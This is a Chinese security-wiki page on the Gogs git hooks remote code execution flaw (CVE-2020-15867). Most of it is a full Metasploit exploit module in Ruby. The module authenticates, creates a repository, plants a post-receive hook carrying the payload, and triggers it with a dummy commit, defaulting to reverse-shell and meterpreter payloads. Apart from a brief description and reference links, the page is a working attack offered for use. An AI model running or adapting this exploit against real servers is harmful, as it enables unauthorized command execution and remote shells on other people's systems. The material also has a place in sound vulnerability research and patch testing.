menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right Vulnerability-棱角社区(Vulnerability)项目漏洞-20210715 chevron_right Gogs Git Hooks 远程代码执行漏洞(CVE-2020-15867).md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    Gogs Git Hooks 远程代码执行漏洞(CVE-2020-15867).md
    11.59 KB / 2021-05-21 09:14:38
        # Gogs Git Hooks 远程代码执行漏洞(CVE-2020-15867)
    
    Gogs(Go Git Service)是Gogs团队的一个基于Go语言的自助Git托管服务,它支持创建、迁移公开/私有仓库,添加、删除仓库协作者等。 Gogs 0.5.5版本至0.12.2版本 git hook feature 存在操作系统命令注入漏洞,该漏洞源于在允许通过身份验证的远程代码执行。
    
    此模块已在Docker上针对0.12.3版本成功测试。
    
    gogs_git_hooks_rce.rb for metasploit:
    
    
    ```ruby
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    
      Rank = ExcellentRanking
    
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Gogs Git Hooks Remote Code Execution',
            'Description' => %q{
              This module leverages an insecure setting to get remote code
              execution on the target OS in the context of the user running Gogs.
              This is possible when the current user is allowed to create `git
              hooks`, which is the default for administrative users. For
              non-administrative users, the permission needs to be specifically
              granted by an administrator.
    
              To achieve code execution, the module authenticates to the Gogs web
              interface, creates a temporary repository, sets a `post-receive` git
              hook with the payload and creates a dummy file in the repository.
              This last action will trigger the git hook and execute the payload.
              Everything is done through the web interface.
    
              No mitigation has been implemented so far (latest stable version is
              0.12.3).
    
              This module has been tested successfully against version 0.12.3 on
              docker. Windows version could not be tested since the git hook feature
              seems to be broken.
            },
            'Author' => [
              'Podalirius',             # Original PoC
              'Christophe De La Fuente' # MSF Module
            ],
            'References' => [
              ['CVE', '2020-15867'],
              ['EDB', '49571'],
              ['URL', 'https://podalirius.net/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/'],
              ['URL', 'https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1126-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/']
            ],
            'DisclosureDate' => '2020-10-07',
            'License' => MSF_LICENSE,
            'Platform' => %w[unix linux win],
            'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
            'Privileged' => false,
            'Targets' => [
              [
                'Unix Command',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/unix/reverse_bash'
                  }
                }
              ],
              [
                'Linux Dropper',
                {
                  'Platform' => 'linux',
                  'Arch' => [ARCH_X86, ARCH_X64],
                  'Type' => :linux_dropper,
                  'DefaultOptions' => {
                    'CMDSTAGER::FLAVOR' => :bourne,
                    'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
                  }
                }
              ],
              [
                'Windows Command',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD,
                  'Type' => :win_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
                  }
                }
              ],
              [
                'Windows Dropper',
                {
                  'Platform' => 'win',
                  'Arch' => [ARCH_X86, ARCH_X64],
                  'Type' => :win_dropper,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
                  }
                }
              ],
            ],
            'DefaultOptions' => { 'WfsDelay' => 30 },
            'DefaultTarget' => 1,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
    
        register_options([
          Opt::RPORT(3000),
          OptString.new('TARGETURI', [true, 'Base path', '/']),
          OptString.new('USERNAME', [true, 'Username to authenticate with']),
          OptString.new('PASSWORD', [true, 'Password to use']),
        ])
    
        @need_cleanup = false
      end
    
      def check
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path)
        )
        unless res
          return CheckCode::Unknown('Target did not respond to check.')
        end
    
        # <meta name="author" content="Gogs" />
        unless res.body.match(%r{<meta +name="author" +content="Gogs" */>})
          return CheckCode::Unsupported('Target does not appear to be running Gogs.')
        end
    
        CheckCode::Appears('Gogs found')
      end
    
      def exploit
        print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    
        print_status("Authenticate with \"#{datastore['USERNAME']}/#{datastore['PASSWORD']}\"")
        gogs_login
        print_good('Logged in')
    
        @repo_name = [Faker::App.name, Faker::App.name].join('_').gsub(' ', '_')
        print_status("Create repository \"#{@repo_name}\"")
        gogs_create_repo
        @need_cleanup = true
        print_good('Repository created')
    
        case target['Type']
        when :unix_cmd, :win_cmd
          execute_command(payload.encoded)
        when :linux_dropper, :win_dropper
          execute_cmdstager(background: true, delay: 1)
        end
      end
    
      def execute_command(cmd, _opts = {})
        vprint_status("Executing command: #{cmd}")
    
        print_status('Setup post-receive hook with command')
        gogs_post_receive_hook(cmd)
        print_good('Git hook setup')
    
        print_status('Create a dummy file on the repo to trigger the payload')
        last_chunk = cmd_list ? cmd == cmd_list.last : true
        gogs_create_file(last_chunk: last_chunk)
        print_good("File created#{', shell incoming...' if last_chunk}")
      end
    
      def http_post_request(uri, opts = {})
        csrf = opts.delete(:csrf) || get_csrf(uri)
        timeout = opts.delete(:timeout) || 20
    
        post_data = { _csrf: csrf }.merge(opts)
        request_hash = {
          'method' => 'POST',
          'uri' => normalize_uri(datastore['TARGETURI'], uri),
          'ctype' => 'application/x-www-form-urlencoded',
          'vars_post' => post_data
        }
    
        send_request_cgi(request_hash, timeout)
      end
    
      def get_csrf(uri)
        vprint_status('Get "csrf" value')
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(uri)
        )
        unless res
          fail_with(Failure::Unreachable, 'Unable to get the CSRF token')
        end
    
        csrf = extract_value(res, '_csrf')
        vprint_good("csrf=#{csrf}")
        csrf
      end
    
      def extract_value(res, attr)
        # <input type="hidden" name="_csrf" value="Ix7E3_U_lOt-kZfeMjEll57hZuU6MTYxNzAyMzQwOTEzMjU1MDUwMA">
        # <input type="hidden" id="user_id" name="user_id" value="1" required>
        # <input type="hidden" name="last_commit" value="6a7eb84e9a8e4e76a93ea3aec67b2f70fe2518d2">
        unless (match = res.body.match(/<input .*name="#{attr}" +value="(?<value>[^"]+)".*>/))
          return fail_with(Failure::NotFound, "\"#{attr}\" not found in response")
        end
    
        return match[:value]
      end
    
      def gogs_login
        res = http_post_request(
          '/user/login',
          user_name: datastore['USERNAME'],
          password: datastore['PASSWORD']
        )
        unless res
          fail_with(Failure::Unreachable, 'Unable to reach the login page')
        end
    
        unless res.code == 302
          fail_with(Failure::NoAccess, 'Login failed')
        end
    
        nil
      end
    
      def gogs_create_repo
        uri = normalize_uri(datastore['TARGETURI'], '/repo/create')
    
        res = send_request_cgi('method' => 'GET', 'uri' => uri)
        unless res
          fail_with(Failure::Unreachable, "Unable to reach #{uri}")
        end
    
        vprint_status('Get "csrf" and "user_id" values')
        csrf = extract_value(res, '_csrf')
        vprint_good("csrf=#{csrf}")
        user_id = extract_value(res, 'user_id')
        vprint_good("user_id=#{user_id}")
    
        res = http_post_request(
          uri,
          user_id: user_id,
          repo_name: @repo_name,
          private: 'on',
          description: '',
          gitignores: '',
          license: '',
          readme: 'Default',
          auto_init: 'on',
          csrf: csrf
        )
        unless res
          fail_with(Failure::Unreachable, "Unable to reach #{uri}")
        end
    
        unless res.code == 302
          fail_with(Failure::UnexpectedReply, 'Create repository failure')
        end
    
        nil
      end
    
      def gogs_post_receive_hook(cmd)
        uri = normalize_uri(datastore['USERNAME'], @repo_name, '/settings/hooks/git/post-receive')
        shell = <<~SHELL
          #!/bin/bash
          #{cmd}&
          exit 0
        SHELL
    
        res = http_post_request(uri, content: shell)
        unless res
          fail_with(Failure::Unreachable, "Unable to reach #{uri}")
        end
    
        unless res.code == 302
          msg = 'Post-receive hook creation failure'
          if res.code == 404
            msg << ' (user is probably not allowed to create Git Hooks)'
          end
          fail_with(Failure::UnexpectedReply, msg)
        end
    
        nil
      end
    
      def gogs_create_file(last_chunk: false)
        uri = normalize_uri(datastore['USERNAME'], @repo_name, '/_new/master')
        filename = "#{Rex::Text.rand_text_alpha(4..8)}.txt"
    
        res = send_request_cgi('method' => 'GET', 'uri' => uri)
        unless res
          fail_with(Failure::Unreachable, "Unable to reach #{uri}")
        end
    
        vprint_status('Get "csrf" and "last_commit" values')
        csrf = extract_value(res, '_csrf')
        vprint_good("csrf=#{csrf}")
        last_commit = extract_value(res, 'last_commit')
        vprint_good("last_commit=#{last_commit}")
    
        http_post_request(
          uri,
          last_commit: last_commit,
          tree_path: filename,
          content: Rex::Text.rand_text_alpha(1..20),
          commit_summary: '',
          commit_message: '',
          commit_choice: 'direct',
          csrf: csrf,
          timeout: last_chunk ? 0 : 20 # The last one never returns, don't bother waiting
        )
        vprint_status("#{filename} created")
    
        nil
      end
    
      # Hook the HTTP client method to add specific cookie management logic
      def send_request_cgi(opts, timeout = 20)
        res = super
    
        return unless res
    
        # HTTP client does not handle cookies with the same name correctly. It adds
        # them instead of substituing the old value with the new one.
        unless res.get_cookies.empty?
          cookie_jar_hash = cookie_jar_to_hash
          cookies_from_response = cookie_jar_to_hash(res.get_cookies.split(' '))
          cookie_jar_hash.merge!(cookies_from_response)
          cookie_jar_updated = cookie_jar_hash.each_with_object(Set.new) do |cookie, set|
            set << "#{cookie[0]}=#{cookie[1]}"
          end
          cookie_jar.clear
          cookie_jar.merge(cookie_jar_updated)
        end
    
        res
      end
    
      def cookie_jar_to_hash(jar = cookie_jar)
        jar.each_with_object({}) do |cookie, cookie_hash|
          name, value = cookie.split('=')
          cookie_hash[name] = value
        end
      end
    
      def cleanup
        super
        return unless @need_cleanup
    
        print_status('Cleaning up')
        uri = normalize_uri(datastore['USERNAME'], @repo_name, '/settings')
        res = http_post_request(uri, action: 'delete', repo_name: @repo_name)
    
        unless res
          fail_with(Failure::Unreachable, 'Unable to reach the settings page')
        end
    
        unless res.code == 302
          fail_with(Failure::UnexpectedReply, 'Delete repository failure')
        end
    
        print_status("Repository #{@repo_name} deleted.")
    
        nil
      end
    end
    ```
    
    ref:
    
    * http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202010-720
    * https://nox.qianxin.com/vulnerability/detail/67108
    * https://packetstormsecurity.com/files/162123/gogs_git_hooks_rce.rb.txt
    
    links
    file_download